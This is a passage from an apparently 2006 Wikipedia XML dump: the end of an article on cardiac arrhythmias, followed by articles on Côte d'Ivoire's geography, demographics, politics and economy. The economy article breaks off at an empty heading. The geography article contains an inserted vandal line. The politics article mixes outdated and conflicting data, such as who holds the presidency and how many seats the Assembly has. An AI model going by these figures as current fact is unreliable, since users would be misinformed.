Automaticity refers to a cardiac muscle cell firing off an impulse on its own. Every cardiac cell has this potential: if it does ''not'' receive any impulses from elsewhere, its internal &quot;pacemaker&quot; will fire off an impulse after a certain amount of time. A single specialized location in the atria, the [[sinoatrial node]], has a higher automaticity (a faster pacemaker) than the rest of the heart, and therefore is usually the one to start the heartbeat. 

Any part of the heart that initiates an impulse without waiting for the sinoatrial node is called an ''ectopic focus'', and is by definition a pathological phenomenon. This may cause a single premature beat now and then, or, if the ectopic focus fires more often than the sinoatrial node, it can produce a sustained abnormal rhythm. Rhythms produced by an ectopic focus in the atria, or by the [[atrioventricular node]], are the least dangerous dysrhythmias; but they can still produce a decrease in the heart's pumping efficiency, because the signal reaches the various parts of the heart muscle with slightly different timing than usual and causes a poorly coordinated contraction. 

Conditions that increase automaticity include [[sympathetic nervous system]] stimulation and [[Hypoxia (medical)|hypoxia]]. The resulting heart rhythm depends on where the first signal begins: if it is the sinoatrial node, the rhythm remains normal but rapid; if it is an ectopic focus, many types of dysrhythmia can result. 

===Reentry===
Reentrant dysrhythmias occur when an electrical impulse travels in a circle within the heart, rather than moving outward and then stopping. Every cardiac cell is able to transmit impulses in every direction, but will only do so once within a short period of time. Normally the impulse spreads through the heart quickly enough that each cell will only respond once, but if conduction is abnormally slow in some areas, part of the impulse will arrive late and will be treated as a new impulse, which can then spread backward. Depending on the timing, this can produce a sustained abnormal rhythm, such as [[atrial flutter]], a self-limiting burst of [[supraventricular tachycardia]], or the dangerous [[ventricular tachycardia]].

By analogy, imagine a room full of people all given these instructions: &quot;If you see anyone starting to stand up, then stand up for three seconds and sit back down.&quot; If the people are quick enough to respond, the first person to stand will trigger a single wave which will then die out; but if there are stragglers on one side of the room, people who have already sat down will see them and start a second wave, and so on.

==Diagnosis==
Cardiac dysrhythmias are often first detected by simple but nonspecific means: auscultation of the heartbeat with a [[stethoscope]], or feeling for peripheral [[pulse]]s. These cannot usually diagnose specific dysrhythmias, but can give a general indication of the heart rate and whether it is regular or irregular. Not all the electrical impulses of the heart produce audible or palpable beats; in many cardiac arrhythmias, the premature or abnormal beats do not produce an effective pumping action and are experienced as &quot;skipped&quot; beats.

The simplest ''specific'' diagnostic test for assessment of heart rhythm is the [[electrocardiogram]] (abbreviated '''ECG''' or '''EKG'''). A [[Holter monitor]] is an ECG recorded over a 24-hour period, to detect dysrhythmias that may happen briefly and unpredictably throughout the day.

==SADS==
'''SADS''', or '''sudden arrhythmia death syndrome''', is a term used to describe sudden [[death]] due to [[cardiac arrest]] brought on by an arrhythmia.  The most common cause of sudden death in the US is coronary artery disease.  Approximately 300,000 people die suddenly of this cause every year in the US.  SADS can also occur from other causes.  Tragically there are many inherited condictions and heart diseases that can affect young people that can cause sudden death.  Many of these victims have no symptoms before dying suddenly.  

The most common causes of SADS in young people are [[long QT syndrome]], [[Brugada syndrome]], and [[hypertrophic cardiomyopathy]] and arrhythmogenic right ventricular dysplasia.

==List of common cardiac dysrhythmias==
*Atrial Arrhythmias
**[[Atrial fibrillation]]
*Atrial Dysrhythmias
**[[Premature atrial contraction]]
**[[Atrial flutter]]
**[[Supraventricular tachycardia]]
**[[Sick sinus syndrome]]
*Ventricular Arrhythmias
**[[Ventricular fibrillation]]
*Ventricular Dysrhythmias
**[[Premature ventricular contraction]]
**[[Pulseless electrical activity]]
**[[Ventricular tachycardia]]
**[[Asystole]]
*Junctional Dysrhythmias
**[[Premature junctional contraction]]
**[[Junctional tachycardia]]
*Heart Blocks
**[[First degree heart block]]
**[[Second degree heart block]]
***[[Type 1 Second degree heart block]] a.k.a. [[Mobitz I]] or [[Wenckebach]]
***[[Type 2 Second degree heart block]] a.k.a. [[Mobitz II]]
**[[Third degree heart block]] a.k.a. [[complete heart block]]

== Antiarrhythmic therapies==
There are many classes of antiarrhythmic medications and many individual drugs within these classes. See the article on '''[[antiarrhythmic agents]]'''.

Dysrhythmias may also be treated electrically. [[Cardioversion]] is the application of electrical current across the chest wall to the heart and it is used for treatment of supraventricular or pulsed ventricular tachycardia. [[Defibrillation]] differs in that it is used for ventricular fibrillation and pulseless ventricular tachycardia, and more electricity is delivered with defibrillation than with cardioversion. In cardioversion, the recipient is either sedated or lightly [[anesthesia|anesthetized]] for the procedure. In defibrillation, the recipient has lost consciousness so there is no need for sedation.  

Electrical treatment of dysrhythmia includes [[cardiac pacing]]. Temporay pacing may be done for very slow heartbeats, or [[bradycardia]], from [[drug overdose]] or [[myocardial infarction]].  A [[pacemaker]] may be placed in situations where the bradycardia is not expected to recover.

Atrial fibrillation can also be treated through a procedure, e.g. pulmonary vein isolation.  This is performed by a cardiologist who specializes in electrophysiology and is done [[percutaneously]] with [[catheters]].  Alternatively, a maze procedure can be performed through [[cardiothoracic surgery]].

==See also==
*[[Antiarrhythmic agents]]
*[[Artificial pacemaker]]
*[[Electrical conduction system of the heart]]
*[[Implantable cardioverter-defibrillator]].

==External links==
* [http://heartcenter.seattlechildrens.org/conditions_treated/arrhythmia.asp Arrhythmia information] from Seattle Children's Hospital Heart Center
*[http://www.sads.org/ SADS Foundation]
*[http://www.c-r-y.org.uk Cardiac Risk in the Young] (UK)

[[Category:Cardiac electrophysiology]]
[[Category:medical emergencies]]

[[de:Herzrhythmusstörung]]
[[fr:Troubles de la conduction cardiaque]]
[[ko:부정맥]]
[[it:Aritmia]]
[[he:אריתמיה]]
[[nl:Hartritmestoornis]]
[[no:Arytmi]]
[[ja:不整脈]]
[[pt:Arritmia cardíaca]]
[[sv:Arytmier]]</text>
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  <page>
    <title>Cote DIvoire</title>
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      <text xml:space="preserve">#REDIRECT [[Côte d'Ivoire]]</text>
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  </page>
  <page>
    <title>Cote DIvoire/History</title>
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      <id>15903766</id>
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      <minor />
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      <text xml:space="preserve">#REDIRECT [[History_of_Côte_d'Ivoire]]</text>
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  </page>
  <page>
    <title>Geography of Côte d'Ivoire</title>
    <id>5565</id>
    <revision>
      <id>41026144</id>
      <timestamp>2006-02-24T15:56:53Z</timestamp>
      <contributor>
        <ip>67.88.88.66</ip>
      </contributor>
      <comment>/* Crops and natural resources */</comment>
      <text xml:space="preserve">{{Country geography|
name =Côte d'Ivoire|
map =Côte d'Ivoire Map.jpg|
continent =[[Africa]]|
region =[[West Africa]]&lt;br /&gt;[[Sub-Saharan Africa]]|
coordinates =8°00'N, 5°00'W|
area ranking =67th|
km area =322,460|
miles area =124,503|
percent land= 98.62|
percent water = 1.38|
km coastline =515| 
miles coastline = 320| 
borders =[[Land borders|Total land borders]]:&lt;br /&gt;3110&amp;nbsp;km (1932&amp;nbsp;miles)&lt;br /&gt;[[Liberia]]:&amp;nbsp;716 km (445 miles)&lt;br /&gt;[[Ghana]]:&amp;nbsp;668 km (415 miles)&lt;br /&gt;[[Guinea]]:&amp;nbsp;610 km (379 miles)&lt;br /&gt;[[Burkina Faso]]:&amp;nbsp;584 km (363 miles)&lt;br /&gt;[[Mali]]:&amp;nbsp;532 km (331)&lt;br /&gt;|
highest point= [[Mont Nimba]]&lt;br /&gt;1752&amp;nbsp;m (5748&amp;nbsp;ft)|
lowest point= [[Gulf of Guinea]]&lt;br /&gt;0&amp;nbsp;m/ft ([[sea level]])| 
longest river=[[Bandama River]]&lt;br /&gt;|
largest lake=[[Lac de Kossou]]&lt;br /&gt;|}}
'''Côte d'Ivoire''' (the '''Ivory Coast''') is a [[Sub-Saharan Africa|sub-Saharan]] nation in southern [[West Africa]] located at 8 00°N, 5 00°W. The country is shaped like a [[Square (geometry)|square]] and borders the [[Gulf of Guinea]] in the north [[Atlantic Ocean]] to the south (515 km of coastline) and five other [[Africa]]n nations on the other three sides, with a total of 3,110 km of [[border]]s: [[Liberia]] to the southwest (716 km), [[Guinea]] to the northwest (610 km), [[Mali]] to the north-northeast (532 km), and [[Ghana]] to the east (668 km). In total, Côte d'Ivoire comprises 322,460 km², of which 318,000 km² is land and 4,460 km² is water, which makes the country slightly larger than the [[U.S. state]] of [[New Mexico]], or about the size of [[Germany]].

Côte d'Ivoire makes maritime claims of 200 [[nautical mile]]s (370 km) as an [[exclusive economic zone]], 12 nautical miles (22 km) of territorial sea, and a 200 nautical mile (370 km) [[continental shelf]].

==Terrain and topography==
Côte d'Ivoire's [[terrain]] can generally be described as a large [[plateau]] rising gradually from [[sea level]] in the south to almost 500 m [[elevation]] in the north. The nation's natural resources have made it into a comparatively prosperous nation in the [[Economy of Africa|African economy]]. 

The southeastern region of Côte d'Ivoire is marked by coastal inland [[lagoon]]s that starts at the Ghanaian border and stretch 300 km (190 miles) along the eastern half of the coast. The southern region, especially the southwest, is densely [[forest]]ed and moist, and is categorized as [[Eastern Guinean forests|eastern Guinean forest]]. The northern region is a [[Tropical and subtropical grasslands, savannas, and shrublands|savanna]]-and-[[scrubland]] zone of lateritic or sandy [[soil]]s, with [[vegetation]] decreasing from south to north within the region, categorized as [[Guinean montane forests|Guinean montane forest]]. The terrain is mostly flat to undulating [[plain]]s, with [[mountain]]s in the northwest. The lowest elevation in Côte d'Ivoire is at sea level on the coasts. The highest elevation is [[Mont Nimba]], at 1,752 m in the far west of the country along the border with Guinea and Liberia.

==Climate==
The [[climate]] of Côte d'Ivoire is generally warm and humid, ranging from [[Equator|equatorial]] in the southern coasts to [[Tropics|tropical]] in the middle and semiarid in the far north. There are three seasons: warm and dry (November to March), hot and dry (March to May), and hot and wet (June to October). Temperatures average between 25 and 30 °C and range from 10 to 40 °C. 

==Crops and natural resources==
Côte d'Ivoire's also has a large [[timber]] industry to due its large [[forest]] coverage. The nation's [[hardwood]] exports match that of [[Brazil]]. In recent years there has been much concern about the rapid rate of [[deforestation]]. [[Rainforest]]s are being destroyed at a rate sometimes cited as the highest in the world. The only forest left completely untouched in Côte d'Ivoire is [[Taï National Park]] (''Parc National de Taï''), a 3600km² (1400 square mile) area in the country's far southwest that is home to over 150 [[Endemic (ecology)|endemic]] species and many other [[endangered species]] such as the [[Pygmy Hippopotamus]] and 11 species of [[monkey]]s.

Eight percent of the country is comprised of [[arable land]]. Côte d'Ivoire is the world's largest producer of cocoa, a major national [[cash crop]]. Other chief crops include [[coffee]], [[banana]]s, and [[oil palm]]s, which produce [[palm oil]] and kernels. [[Natural resource]]s include [[petroleum]], [[natural gas]], [[diamond]]s, [[manganese]], [[iron]], [[cobalt]], [[bauxite]], [[copper]], and [[hydropower]].

Watssssssssssssssssssss up!!!! =]

==Natural hazards==
[[Natural hazard]]s include the heavy surf and the  lack of [[natural harbor]]s on the coast; during the rainy season torrential [[flooding]] is a danger.

==Treaties and international agreements==
Côte d'Ivoire is party to these treaties:
*[[Convention on Biological Diversity]] 
*[[United Nations Framework Convention on Climate Change]]
*[[United Nations Convention to Combat Desertification]]
*[[Convention on the International Trade in Endangered Species of Wild Flora and Fauna]]
*[[Basel Convention]] on [[hazardous waste]]s
*[[United Nations Convention on the Law of the Sea]]
*[[London Convention]] on [[marine dumping]] 
*[[Comprehensive Test Ban Treaty]] on [[nuclear testing]]
*[[Montreal Protocol]] on [[ozone depletion]] 
*[[MARPOL 73/78]] on [[ship pollution]]
*[[International Tropical Timber Agreement, 1983]]
*[[International Tropical Timber Agreement, 1994]]
*[[Ramsar Convention]] on [[wetland conservation]].

==Sources==
*&quot;Cote d'Ivoire.&quot; ''The World Almanac and Book of Facts 2006''. World Almanac Books: New York, 2006. 
*&quot;Cote d'Ivoire.&quot; ''CIA World Factbook''. November 2, 2004. [http://cia.gov/cia/publications/factbook/geos/iv.html]

{{Africa in topic|Geography of}}

[[Category:Geography of Côte d'Ivoire| ]]
[[Category:Geography by country|Côte d'Ivoire]]
[[pt:Geografia da Costa do Marfim]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Côte d'Ivoire</title>
    <id>5566</id>
    <revision>
      <id>39374369</id>
      <timestamp>2006-02-12T19:19:34Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Cote d Ivoire demography.png|thumb|300px|right|Demographics of Côte d'Ivoire, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]

==Demographic data from the CIA World Factbook==

===Population===
:17,298,040
:''Note'': estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 41% (male 3,490,536/female 3,596,208)
:15-64 years: 56.3% (male 4,920,726/female 4,820,326)
:65 years and over: 2.7% (male 231,514/female 238,730) (2005 est.)

===Median age===
:Total: 19.05 years
:Male: 19.36 years
:Female: 18.76 years (2005 est.)

===Population growth rate===
:2.06% (2005 est.)

===Birth rate===
:35.51 births/1,000 population (2005 est.)

===Death rate===
:14.94 deaths/1,000 population (2005 est.)

===Net migration rate===
:0 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 0.97 male(s)/female
:15-64 years: 1.02 male(s)/female
:65 years and over: 0.97 male(s)/female
:Total population: 1 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 90.83 deaths/1,000 live births
:Male: 107.64 deaths/1,000 live births
:Female: 73.52 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 48.62 years
:Male: 46.05 years
:Female: 51.27 years (2005 est.)

===Total fertility rate===
:4.58 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 7% (2003 est.)
:People living with HIV/AIDS: 570,000 (2003 est.)
:Deaths: 47,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial diarrhea, hepatitis A, and typhoid fever
:Vectorborne diseases: malaria, yellow fever, and others are high risks in some locations
:Water contact: schistosomiasis (2004)

===Nationality===
:Noun: Ivoirian(s)
:Adjective: Ivoirian

===Ethnic groups===
:Akan 42.1%, Voltaiques or Gur 17.6%, Northern Mandes 16.5%, Krous 11%, Southern Mandes 10%, other 2.8% (includes 130,000 Lebanese and 14,000 French) (1998)

:[[Côte d'Ivoire]] has more than 60 ethnic groups, usually classified into five principal divisions: [[Akan (ethnic group)|Akan]] (east and center, including Lagoon peoples of the southeast), [[Krou]] (southwest), [[Southern Mandé]] (west), [[Northern Mandé]] (northwest), Sénoufo/[[Lobi]] (north center and northeast). The Baoulés, in the Akan division, probably comprise the largest single subgroup with 15%-20% of the population. They are based in the central region around [[Bouaké]] and [[Yamoussoukro]]. The Bétés in the Krou division, the Sénoufos in the north, and the Malinkés in the northwest and the cities are the next largest groups, with 10%-15% of the national population. Most of the principal divisions have a significant presence in neighboring countries.

:Of the more than 5 million non-Ivorian Africans living in Côte d'Ivoire, one-third to one-half are from [[Burkina Faso]]; the rest are from [[Ghana]], [[Guinea]], [[Mali]], [[Nigeria]], [[Benin]], [[Sénégal]], [[Liberia]], and [[Mauritania]]. The non-African expatriate community includes roughly 20,000 French (this number may be inaccurate due to the evacuation of roughly 8,000 Frenchmen in November 2004) and possibly 100,000 Lebanese. The number of elementary school-aged children attending classes increased from 22% in 1960 to 67% in 1995.

===Religions===
:Christian 20-30%, Muslim 35-40%, indigenous 25-40% (2001)
:''Note'': the majority of foreigners (migratory workers) are Muslim (70%) and Christian (20%)

===[[Language]]s=== 
:[[French language|French]] (official), 60 native dialects with [[Dioula]] the most widely spoken. :Other languages include: [[Bété languages]], [[Dida language]], [[Gur languages]], [[Kwa languages]], [[Nyabwa language]], [[Western Krahn]]

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 50.9%
:Male: 57.9%
:Female: 43.6% (2003 est.)

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Côte d'Ivoire]]
[[Category:Demographics by country|Cote]]

[[pt:Demografia da Costa do Marfim]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Côte d'Ivoire</title>
    <id>5567</id>
    <revision>
      <id>39374381</id>
      <timestamp>2006-02-12T19:19:40Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{Politics of Côte d'Ivoire}}
[[Côte d'Ivoire]] is a [[republic]], with a multiparty presidential regime established in [[1960]].

==Political conditions==

In a region whose political systems have otherwise been noted for lack of stability, Côte d'Ivoire showed remarkable political stability since its independence from France in [[1960]], until 2002.

''The contents of this section are outdated. See [[Civil war in Côte d'Ivoire]] for recent data.'' 

When many other countries in the region were undergoing repeated [[military coup]]s, experimenting with [[Marxism]], and developing ties with the [[Soviet Union]] and the People's Republic of China, Côte d'Ivoire - under [[Félix Houphouët-Boigny]], president from independence until his death in December 1993 - maintained a close political allegiance to the [[Western World]] and good relationships with France and the [[United States]]. President Bédié is very familiar with the United States, having served as Côte d'Ivoire's first [[Ambassador (diplomacy)|ambassador]] to this country.

Looking toward the country's future, the fundamental issue is whether its political system will maintain the stability which is the [[sine qua non]] for investor confidence and further economic development. Côte d'Ivoire evolved, with relatively little violence or dislocation, from a single-party state, beginning in [[1990]]. Opposition parties, independent [[newspaper]]s, and independent [[trade union]]s were made legal at that time. Since those major changes occurred, the country's pace of political change has been slow. Whether further [[democracy|democratic]] reform will take place, adequate to meet future challenges, is unknown. As is generally true in the region, the business environment is one in which personal contact and connections remain important, where rule of law does not prevail with assurance, and where the legislative and judicial branches of the government remain weak. The political system remains highly centralized with the president dominating both the ruling party and the legislature and judiciary. Côte d'Ivoire's efforts to break down central state control of the economy are undermined by the state's continued central control of the political system.

Côte d'Ivoire has a high [[population growth rate]], a high [[crime]] rate (particularly in Abidjan), a high incidence of [[AIDS]], a multiplicity of [[tribe]]s, sporadic [[student]] unrest, a different rate of in-country development according to region, and a dichotomy of religion associated with region and tribe. These factors put stress on the political system and will become more of a problem if the economy-not quite as dependent today on [[cocoa]] and [[coffee]] as it was some years ago but still dependent - takes a plunge similar to that of the 1980s.

The political system in Côte d'Ivoire is president-dominated. The Prime Minister concentrates principally on coordinating and implementing economic policy. The key decisions - political, military, or economic - continue to be made by President Bédié, as they were made by President Houphouët-Boigny. However, political dialogue is much freer today than prior to 1990, especially due to the opposition press, which vocalizes its criticism of the regime. The Ivorian Constitution affords the legislature some independence, but it has not been widely exercised. Until 1990, all legislators were from the PDCI. After the most recent elections ([[1995]]-[[1996]]), the PDCI continues to hold 149 out of 175 seats. The PDCI's &quot;core&quot; region may be described as the terrain of the [[Baoule]] tribe in the country's center, home of both Houphouët-Boigny and Bédié; however, the PDCI is well-entrenched in all parts of Côte d'Ivoire.

The remaining 26 seats in the National Assembly are divided equally by the only two other parties of national scope-the FPI ([[Ivorian Popular Front]]) and RDR (Rally of Republicans). The oldest opposition party is the FPI, a moderate party which has a [[socialism|socialist]] coloration but which is more concerned with democratic reform than radical economic change; it is strongest in the terrain of its Bete tribe leader, Laurent Gbagbo. The non-ideological RDR was formed in September 1994 by former members of the PDCI's reformist wing who hoped that former Prime Minister Alassane Ouattara would run and prevail in the 1995 presidential election (but who was disqualified by subsequent legislation requiring 5-year residency); it is strongest in the [[Islam|Muslim]] north.

The presidential election of [[October]] [[1995]] was boycotted by the FPI and RDR because of Ouattara's disqualification and the absence of an independent electoral commission (among other grievances). Their &quot;active boycott&quot; produced a certain amount of violence and hundreds of arrests (with a number of the arrestees not tried for 2-1/2 years). These grievances remain unaddressed, with the next round of elections coming in the year 2000.

==Political data==

'''Country name:'''
&lt;br&gt;''conventional long form:'' Republic of Côte d'Ivoire
&lt;br&gt;''conventional short form:'' Côte d'Ivoire
&lt;br&gt;''local long form:'' République de Côte d'Ivoire
&lt;br&gt;''local short form:'' Côte d'Ivoire
&lt;br&gt;''former:'' Ivory Coast

'''Data code:''' IV

'''Capital:''' [[Yamoussoukro]]
&lt;br&gt;''note:'' although Yamoussoukro has been the capital since [[1983]], [[Abidjan]] remains the administrative center; the US, like other countries, maintains its Embassy in Abidjan

'''Independence''' [[August 7]], [[1960]] (from France)

'''[[National holiday]]''' Independence Day, [[August 7]]

'''[[Suffrage]]''' 18 years of age; universal 

==Administrative divisions==
''Main article: ''[[Départements of Côte d&lt;nowiki&gt;'&lt;/nowiki&gt;Ivoire]]'' ''

For administrative purposes, Côte d'Ivoire is divided into 58 [[department]]s, each headed by a [[prefect]] appointed by the central government. There are 196 [[commune (subnational entity)|commune]]s, each headed by an elected [[mayor]], plus the city of [[Abidjan]] with ten mayors.

The 58 departments (''départements'', singular - ''département'') are listed in the article [[Départements of Côte d&lt;nowiki&gt;'&lt;/nowiki&gt;Ivoire]].

==Constitution==

[[3 November]] [[1960]]; has been amended numerous times, last time [[July]] [[1998]]

==Legal system==

Based on [[French civil law]] system and customary law; judicial review in the Constitutional Chamber of the Supreme Court; has not accepted compulsory ICJ jurisdiction

== Government ==

[[Côte d'Ivoire]]'s 1959 [[constitution]] provides for strong presidency within the framework of a [[separation of powers]]. The executive is personified in the [[President of Côte d'Ivoire|president]], elected for a five-year term. The president is commander in chief of the [[armed forces]], may negotiate and ratify certain [[treaty|treaties]], and may submit a bill to a national [[referendum]] or to the [[National Assembly]]. According to the constitution, the President of the National Assembly assumes the presidency in the event of a vacancy, and he completes the remainder of the deceased president's term. The cabinet is selected by and is responsible to the president. Changes are being proposed to some of these provisions, to extend term of office to 7 years, establish a senate, and make president of the [[senate]] interim successor to the president.

The unicameral National Assembly is composed of 175 members elected by direct universal suffrage for a 5-year term concurrently with the president. It passes on legislation typically introduced by the president although it also can introduce legislation.

The judicial system culminates in the [[Supreme Court]]. The High Court of Justice is competent to try government officials for major offenses.

==[[Executive branch]]==

'''Principal Government Officials'''&lt;br&gt;

'''chief of state:'''&lt;br&gt;
[[President of Côte d'Ivoire|President]] [[Laurent Gbagbo]] (since [[October 26]], [[2000]])&lt;br&gt;
''note'' - took power following a popular overthrow of the interim leader Gen. [[Robert Guéï]] who had claimed a dubious victory in presidential elections; Gen. Guéï himself had assumed power on [[25 December]] [[1999]], following a military coup against the government of former President [[Henri Konan Bédié]]. 

'''head of government:'''&lt;br&gt;
[[Prime Minister]] [[Seydou Diarra]] (since [[January 25]], [[2003]])&lt;br&gt;
''note'' - appointed as transitional Prime Minister by President Gbagbo as part of a French brokered peace plan.
&lt;br&gt;''cabinet:'' Council of Ministers appointed by the president
&lt;br&gt;''elections:''
president elected by popular vote for a five-year term; election last held [[26 October]] [[26]], 2000 (next to be held NA 2005); prime minister appointed by the president 
&lt;br&gt;''election results:''
Laurent Gbagbo elected president; percent of vote - Laurent Gbagbo 59.4%, Robert Guéï 32.7%, [[Francis Wodie]] 5.7%, other 2.2%  

==[[Legislative branch]]==

Unicameral National Assembly or ''Assemblée Nationale'' (225 seats; members are elected in single- and multi-district elections by direct popular vote to serve five-year terms)
&lt;br&gt;''elections:''
elections last held [[10 December]] [[2000]] with [[by-election]]s on [[14 January]] [[2001]] (next to be held NA 2005) 
&lt;br&gt;''election results:''
percent of vote by party - NA%; seats by party - FPI 96, PDCI-RDA 94, RDR 5, PIT 4, other 2, independents 22, vacant 2
&lt;br&gt;''note:''
a Senate is scheduled to be created in the next full election in 2005 

==[[Judicial branch]]==

Supreme Court or Cour Supreme consists of four chambers: Judicial Chamber for criminal cases, Audit Chamber for financial cases, Constitutional Chamber for judicial review cases, and Administrative Chamber for civil cases; there is no legal limit to the number of members.

==[[Political parties]] and leaders==
''Main article: [[List of political parties in Côte d'Ivoire]]''

* [[Democratic Party of Côte d'Ivoire]]-African Democratic Rally or PDCI-RDA [Aime Henri Konan BÉDIÉ]
* [[Ivorian Popular Front]] or FPI [Laurent GBAGBO]
* [[Ivorian Workers' Party]] or PIT [Francis WODIE]
* [[Rally of the Republicans]] or RDR [Alassane OUATTARA]
* [[Union for Democracy and Peace]] or UDPCI [leader NA]
* over 20 smaller parties

==International organization participation==

[[ACP (Lomé Convention)|ACP]], [[AfDB]], [[United Nations Economic Commission for Africa|ECA]], [[ECOWAS]], [[Conseil de l'Entente|Entente]], [[Food and Agriculture Organization|FAO]], [[FZ]], [[G-24]], [[G-77]], [[IAEA]], [[IBRD]], [[ICAO]], [[ICCt]] (signatory), [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[Islamic Development Bank|IDB]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization|IMO]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[MONUC]], [[Non-Aligned Movement|NAM]], [[OAU]], [[Organization of the Islamic Conference|OIC]], [[OPCW]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[UNIDO]], [[UPU]], [[WADB]] (regional), [[WAEMU]], [[WCL]], [[WCO]], [[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

==Foreign relations==
''Main article: [[Foreign relations of Côte d'Ivoire]]''

'''Diplomatic representation in the US:'''
&lt;br&gt;''chief of mission:''
Ambassador Pascal Dago KOKORA
&lt;br&gt;''chancery:''
3421 Massachusetts Avenue NW, Washington, DC 20007
&lt;br&gt;''telephone:'' [1] (202) 797-0300
&lt;br&gt;''FAX:'' [1] (202) 462-9444 

'''Diplomatic representation from the US:'''
&lt;br&gt;''chief of mission:''
Ambassador Aubrey HOOKS
&lt;br&gt;''embassy:''
5 Rue Jesse Owens, Abidjan
&lt;br&gt;''mailing address:'' B. P. 1712, Abidjan 01 
&lt;br&gt;''telephone:'' [225] 20 21 09 79 
&lt;br&gt;''FAX:'' [225] 20 22 32 59

==Flag description==

The [[flag of Côte d'Ivoire]] features three equal vertical bands of orange (hoist side), white, and green; similar to the [[flag of Ireland]], which is longer and has the colors reversed - green (hoist side), white, and orange; also similar to the [[flag of Italy]], which is green (hoist side), white, and red; design was based on the [[flag of France]].

==See also==
* [[Military of Côte d'Ivoire]]

==External links and references==
* [[CIA World Factbook]] 2003

{{Africa in topic|Politics of}}

[[Category:Côte d'Ivoire]]
[[fr:Politique de la Côte d'Ivoire]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Côte d'Ivoire</title>
    <id>5568</id>
    <revision>
      <id>38982526</id>
      <timestamp>2006-02-09T22:55:36Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">''This article describes the '''Economy of [[Côte d'Ivoire]]'''''
----

The Ivorian economy is largely [[market]] based and depends heavily on the [[agriculture|agricultural]] sector. Almost 70% of the Ivorian people are engaged in some form of agricultural activity.   Côte d'Ivoire is among the world's largest producers and exporters of [[coffee]], [[cocoa]] beans, and [[palm oil]]. Consequently, the economy is highly sensitive to fluctuations in international prices for these products and to weather conditions. Despite attempts by the [[Politics of Côte d'Ivoire|government]] to diversify the economy, it is still largely dependent on agriculture and related activities, which engage roughly 68% of the population. 

The economy performed poorly in the [[1980s]] and early [[1990s]], and high [[population growth]] coupled with economic decline resulted in a steady fall in [[living standards]]. [[Measures of national income and output|Gross national product per capita]], now rising again, was about [[USD|U.S.]] $727 in [[1996]]. (It was substantially higher two decades ago.) After several years of lagging performance, the Ivorian economy began a comeback in [[1994]], due to the devaluation of the [[CFA franc]] and improved prices for [[cocoa]] and [[coffee]], growth in nontraditional primary exports such as [[pineapple]]s and [[rubber]], limited trade and banking liberalization, offshore oil and gas discoveries, and generous external financing and debt rescheduling by multilateral lenders and [[France]]. The 50% [[devaluation]] of Franc Zone currencies on [[12 January]] 1994 caused a one-time jump in the [[inflation]] rate to 26% in 1994, but the rate fell sharply in 1996-[[1999]]. Moreover, government adherence to donor-mandated reforms led to a jump in growth to 5% annually in 1996-99.  A majority of the population remains dependent on smallholder [[cash crop]] production. Principal exports are cocoa, coffee, and [[forestry|tropical wood]]s. Principal U.S. exports are [[rice]] and [[wheat]], [[plastic]] materials and [[resin]]s, [[Kraft process|Kraft paper]], agricultural chemicals, [[telecommunications]], and oil and gas equipment. Principal U.S. imports are [[cocoa]] and cocoa products, [[petroleum]], rubber, and coffee.

== Foreign Direct Investment Statistics ==

[[Foreign direct investment]] (FDI) plays a key role in the Ivorian economy, accounting for between 40% and 45% of total capital in Ivorian firms. France is overwhelmingly the most important foreign investor. In recent years, French investment has accounted for about one-quarter of the total capital in Ivorian enterprises, and between 55% and 60% of the total stock of foreign investment capital.

== Infrastructure ==

By [[developing country]] standards, Côte d'Ivoire has an outstanding [[infrastructure]]. There is a network of more than 8,000 miles of paved roads; modern telecommunications services, including a public [[data communication]]s network; [[cellular phone]]s and [[Internet]] access; two active [[port]]s, one of which, [[Abidjan]], is the most [[Europe]]an in [[West Africa]]; [[Foreign Direct Investment|rail]] links-in the process of being upgraded-both within the country and to [[Burkina Faso]]; regular air service within the region and to and from Europe; and [[real estate]] developments for commercial, industrial, retail, and residential use. Côte d'Ivoire's location and connections to neighboring countries makes it a preferred platform from which Europeans conduct West African business operations. The city of [[Abidjan]] is one of the most modern and liveable cities in the region for wealthy French [[expatriate]]s. Its school system is highly regarded and includes an excellent international school based on a U.S. [[curriculum]] and several excellent French-based schools.

Côte d'Ivoire has stepped up public investment programs after the stagnation of the pre-devaluation era. The government's public investment plan accords priority to investment in human capital, but it also will provide for significant spending on economic infrastructure needed to sustain growth. Continued infrastructure development is also expected to occur because of [[private sector]] activity.

In the new environment of government disengagement from productive activities and in the wake of recent privatizations, anticipated investments in the petroleum, [[electricity]], [[water]], and telecommunications sectors, and in part of the [[transport]] sector, will be financed without any direct government intervention.

== Major Trends and Outlooks ==

